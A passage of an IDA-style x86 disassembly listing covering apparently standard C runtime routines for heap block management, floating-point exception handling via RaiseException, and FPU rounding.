		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4195D6
; ---------------------------------------------------------------------------


loc_41948F:				; CODE XREF: sub_4192E8+52j
					; sub_4192E8+5Cj
		xor	eax, eax
		jmp	loc_4195D9
; ---------------------------------------------------------------------------


loc_419496:				; CODE XREF: sub_4192E8+49j
		jge	loc_4195D6
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_4194C1
		push	3Fh
		pop	esi


loc_4194C1:				; CODE XREF: sub_4192E8+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_419550
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4194DA
		push	3Fh
		pop	esi


loc_4194DA:				; CODE XREF: sub_4192E8+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_419529
		cmp	esi, 20h
		jnb	short loc_419505
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_419526
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_419526
; ---------------------------------------------------------------------------


loc_419505:				; CODE XREF: sub_4192E8+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_419526
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_419526:				; CODE XREF: sub_4192E8+214j
					; sub_4192E8+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_419529:				; CODE XREF: sub_4192E8+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_419550
		push	3Fh
		pop	esi


loc_419550:				; CODE XREF: sub_4192E8+1DDj
					; sub_4192E8+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4195CD
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_4195A4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419597
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_419597:				; CODE XREF: sub_4192E8+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_4195C9
; ---------------------------------------------------------------------------


loc_4195A4:				; CODE XREF: sub_4192E8+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4195BA
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_4195BA:				; CODE XREF: sub_4192E8+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_4195C9:				; CODE XREF: sub_4192E8+2BAj
		shr	edx, cl
		or	[eax], edx


loc_4195CD:				; CODE XREF: sub_4192E8+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_4195D6:				; CODE XREF: sub_4192E8+1A2j
					; sub_4192E8:loc_419496j
		push	1
		pop	eax


loc_4195D9:				; CODE XREF: sub_4192E8+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_4195DE(int,int,double,int)

sub_4195DE	proc near		; CODE XREF: sub_415E4C+51p
					; sub_415F93+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4386C8, 0
		jnz	short loc_419613
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_419B93
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419613:				; CODE XREF: sub_4195DE+Aj
		push	0FFFFh
		mov	ds:dword_469474, 21h
		push	[ebp+arg_C]
		call	sub_419E06
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4195DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419631(int,int,double,double,int)

sub_419631	proc near		; CODE XREF: sub_415E4C:loc_415F0Fp
					; sub_415F93:loc_416056p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41997C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41966F
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4196C9
		add	esp, 18h


loc_41966F:				; CODE XREF: sub_419631+1Aj
		push	[ebp+arg_0]
		call	sub_419C66
		cmp	ds:dword_4386C8, 0
		pop	ecx
		jnz	short loc_4196AD
		test	eax, eax
		jz	short loc_4196AD
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_419B93
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4196AD:				; CODE XREF: sub_419631+4Ej
					; sub_419631+52j
		push	eax
		call	sub_419C1B
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_419E06
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_419631	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196C9	proc near		; CODE XREF: sub_419631+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4196FB
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4196FB:				; CODE XREF: sub_4196C9+23j
		test	cl, 2
		jz	short loc_41970E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41970E:				; CODE XREF: sub_4196C9+35j
		test	cl, bl
		jz	short loc_419720
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_419720:				; CODE XREF: sub_4196C9+47j
		test	cl, 4
		jz	short loc_419733
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_419733:				; CODE XREF: sub_4196C9+5Aj
		test	cl, 8
		jz	short loc_419746
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_419746:				; CODE XREF: sub_4196C9+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_419DE9
		test	al, bl
		jz	short loc_4197CF
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4197CF:				; CODE XREF: sub_4196C9+FDj
		test	al, 4
		jz	short loc_4197DA
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4197DA:				; CODE XREF: sub_4196C9+108j
		test	al, 8
		jz	short loc_4197E5
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4197E5:				; CODE XREF: sub_4196C9+113j
		test	al, 10h
		jz	short loc_4197EF
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4197EF:				; CODE XREF: sub_4196C9+11Ej
		test	al, 20h
		jz	short loc_4197F9
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4197F9:				; CODE XREF: sub_4196C9+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_419838
		cmp	eax, 400h
		jz	short loc_41982A
		cmp	eax, 800h
		jz	short loc_41981E
		cmp	eax, ecx
		jnz	short loc_41983E
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41983E
; ---------------------------------------------------------------------------


loc_41981E:				; CODE XREF: sub_4196C9+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_419834
; ---------------------------------------------------------------------------


loc_41982A:				; CODE XREF: sub_4196C9+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_419834:				; CODE XREF: sub_4196C9+15Fj
		mov	[eax], ecx
		jmp	short loc_41983E
; ---------------------------------------------------------------------------


loc_419838:				; CODE XREF: sub_4196C9+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41983E:				; CODE XREF: sub_4196C9+14Bj
					; sub_4196C9+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_419869
		cmp	eax, 200h
		jz	short loc_41985C
		cmp	eax, ecx
		jnz	short loc_419876
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_419876
; ---------------------------------------------------------------------------


loc_41985C:				; CODE XREF: sub_4196C9+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_419874
; ---------------------------------------------------------------------------


loc_419869:				; CODE XREF: sub_4196C9+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_419874:				; CODE XREF: sub_4196C9+19Ej
		mov	[eax], ecx


loc_419876:				; CODE XREF: sub_4196C9+189j
					; sub_4196C9+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_419DF7
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_421184	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4198F0
		and	dword ptr [esi], 0FFFFFFFEh


loc_4198F0:				; CODE XREF: sub_4196C9+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4198F9
		and	dword ptr [esi], 0FFFFFFFBh


loc_4198F9:				; CODE XREF: sub_4196C9+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_419902
		and	dword ptr [esi], 0FFFFFFF7h


loc_419902:				; CODE XREF: sub_4196C9+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41990B
		and	dword ptr [esi], 0FFFFFFEFh


loc_41990B:				; CODE XREF: sub_4196C9+23Dj
		test	[eax+8], bl
		jz	short loc_419913
		and	dword ptr [esi], 0FFFFFFDFh


loc_419913:				; CODE XREF: sub_4196C9+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_419947
		dec	ecx
		jz	short loc_41993B
		dec	ecx
		jz	short loc_419931
		dec	ecx
		jnz	short loc_419949
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_419949
; ---------------------------------------------------------------------------


loc_419931:				; CODE XREF: sub_4196C9+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_419943
; ---------------------------------------------------------------------------


loc_41993B:				; CODE XREF: sub_4196C9+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_419943:				; CODE XREF: sub_4196C9+270j
		mov	[esi], ecx
		jmp	short loc_419949
; ---------------------------------------------------------------------------


loc_419947:				; CODE XREF: sub_4196C9+257j
		and	[esi], edx


loc_419949:				; CODE XREF: sub_4196C9+260j
					; sub_4196C9+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_419969
		dec	ecx
		jz	short loc_419960
		dec	ecx
		jnz	short loc_419972
		and	[esi], edx
		jmp	short loc_419972
; ---------------------------------------------------------------------------


loc_419960:				; CODE XREF: sub_4196C9+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_419970
; ---------------------------------------------------------------------------


loc_419969:				; CODE XREF: sub_4196C9+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_419970:				; CODE XREF: sub_4196C9+29Ej
		mov	[esi], ecx


loc_419972:				; CODE XREF: sub_4196C9+291j
					; sub_4196C9+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4196C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41997C	proc near		; CODE XREF: sub_419631+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4199A7
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4199A7
		push	ebx
		call	sub_419E29
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_419B71
; ---------------------------------------------------------------------------


loc_4199A7:				; CODE XREF: sub_41997C+15j
					; sub_41997C+1Aj
		test	al, 4
		jz	short loc_4199C1
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4199C1
		push	4
		call	sub_419E29
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_419B71
; ---------------------------------------------------------------------------


loc_4199C1:				; CODE XREF: sub_41997C+2Dj
					; sub_41997C+33j
		test	al, bl
		jz	loc_419A9B
		test	byte ptr [ebp+arg_8], 8
		jz	loc_419A9B
		push	8
		call	sub_419E29
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_419A73
		cmp	ecx, 400h
		jz	short loc_419A4B
		cmp	ecx, 800h
		jz	short loc_419A23
		cmp	ecx, eax
		jnz	loc_419A93
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fld	ds:dbl_438058
		fnstsw	ax
		sahf
		ja	short loc_419A1B
		fchs


loc_419A1B:				; CODE XREF: sub_41997C+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419A91
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_41997C+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A3B
		fld	ds:dbl_438048
		jmp	short loc_419A43
; ---------------------------------------------------------------------------


loc_419A3B:				; CODE XREF: sub_41997C+B5j
		fld	ds:dbl_438058
		fchs


loc_419A43:				; CODE XREF: sub_41997C+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419A91
; ---------------------------------------------------------------------------


loc_419A4B:				; CODE XREF: sub_41997C+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A63
		fld	ds:dbl_438058
		jmp	short loc_419A6B
; ---------------------------------------------------------------------------


loc_419A63:				; CODE XREF: sub_41997C+DDj
		fld	ds:dbl_438048
		fchs


loc_419A6B:				; CODE XREF: sub_41997C+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419A91
; ---------------------------------------------------------------------------


loc_419A73:				; CODE XREF: sub_41997C+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fld	ds:dbl_438048
		fnstsw	ax
		sahf
		ja	short loc_419A8B
		fchs


loc_419A8B:				; CODE XREF: sub_41997C+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_419A91:				; CODE XREF: sub_41997C+A5j
					; sub_41997C+CDj ...
		fstp	qword ptr [ecx]


loc_419A93:				; CODE XREF: sub_41997C+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_419B71
; ---------------------------------------------------------------------------


loc_419A9B:				; CODE XREF: sub_41997C+47j
					; sub_41997C+51j
		test	al, 2
		jz	loc_419B71
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_419B71
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_419AB6
		mov	esi, ebx


loc_419AB6:				; CODE XREF: sub_41997C+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jz	loc_419B5F
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_419D28
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_419B01
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_419B55
; ---------------------------------------------------------------------------


loc_419B01:				; CODE XREF: sub_41997C+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jnb	short loc_419B13
		mov	edx, ebx
		jmp	short loc_419B15
; ---------------------------------------------------------------------------


loc_419B13:				; CODE XREF: sub_41997C+191j
		xor	edx, edx


loc_419B15:				; CODE XREF: sub_41997C+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_419B49
		sub	eax, ecx


loc_419B2C:				; CODE XREF: sub_41997C+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_419B37
		test	esi, esi
		jnz	short loc_419B37
		mov	esi, ebx


loc_419B37:				; CODE XREF: sub_41997C+1B3j
					; sub_41997C+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_419B43
		or	byte ptr [ebp+var_C+3],	80h


loc_419B43:				; CODE XREF: sub_41997C+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_419B2C


loc_419B49:				; CODE XREF: sub_41997C+1ACj
		test	edx, edx
		jz	short loc_419B55
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_419B55:				; CODE XREF: sub_41997C+183j
					; sub_41997C+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_419B61
; ---------------------------------------------------------------------------


loc_419B5F:				; CODE XREF: sub_41997C+14Ej
		mov	esi, ebx


loc_419B61:				; CODE XREF: sub_41997C+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_419B6E
		push	10h
		call	sub_419E29
		pop	ecx


loc_419B6E:				; CODE XREF: sub_41997C+1E8j
		and	edi, 0FFFFFFFDh


loc_419B71:				; CODE XREF: sub_41997C+26j
					; sub_41997C+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_419B88
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_419B88
		push	20h
		call	sub_419E29
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_419B88:				; CODE XREF: sub_41997C+1F9j
					; sub_41997C+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41997C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419B93(int,int,int,int,int,int,double,int)

sub_419B93	proc near		; CODE XREF: sub_4195DE+2Bp
					; sub_419631+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_419C41
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_419BFE
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_419E06
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41D7F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419BF8
		push	esi
		call	sub_419C1B
		pop	ecx


loc_419BF8:				; CODE XREF: sub_419B93+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BFE:				; CODE XREF: sub_419B93+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_419E06
		push	[ebp+arg_0]
		call	sub_419C1B
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_419B93	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C1B	proc near		; CODE XREF: sub_419631+7Dp
					; sub_419B93+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_419C36
		jle	short locret_419C40
		cmp	eax, 3
		jg	short locret_419C40
		mov	ds:dword_469474, 22h
		retn
; ---------------------------------------------------------------------------


loc_419C36:				; CODE XREF: sub_419C1B+7j
		mov	ds:dword_469474, 21h

locret_419C40:				; CODE XREF: sub_419C1B+9j
					; sub_419C1B+Ej
		retn
sub_419C1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C41	proc near		; CODE XREF: sub_419B93+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_437F70


loc_419C48:				; CODE XREF: sub_419C41+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_419C5E
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_438048
		jl	short loc_419C48
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419C5E:				; CODE XREF: sub_419C41+Dj
		mov	eax, ds:off_437F74[ecx*8]
		retn
sub_419C41	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C66	proc near		; CODE XREF: sub_419631+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_419C72
		push	5
		jmp	short loc_419C88
; ---------------------------------------------------------------------------


loc_419C72:				; CODE XREF: sub_419C66+6j
		test	al, 8
		jz	short loc_419C7A
		push	1
		jmp	short loc_419C88
; ---------------------------------------------------------------------------


loc_419C7A:				; CODE XREF: sub_419C66+Ej
		test	al, 4
		jz	short loc_419C82
		push	2
		jmp	short loc_419C88
; ---------------------------------------------------------------------------


loc_419C82:				; CODE XREF: sub_419C66+16j
		test	al, 1
		jz	short loc_419C8A
		push	3


loc_419C88:				; CODE XREF: sub_419C66+Aj
					; sub_419C66+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419C8A:				; CODE XREF: sub_419C66+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_419C66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419C93(double)

sub_419C93	proc near		; CODE XREF: sub_415E4C:loc_415ED2p
					; sub_415F93:loc_416019p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_419C93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419CA5(double,int)

sub_419CA5	proc near		; CODE XREF: sub_419D28+82p
					; sub_419D28+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
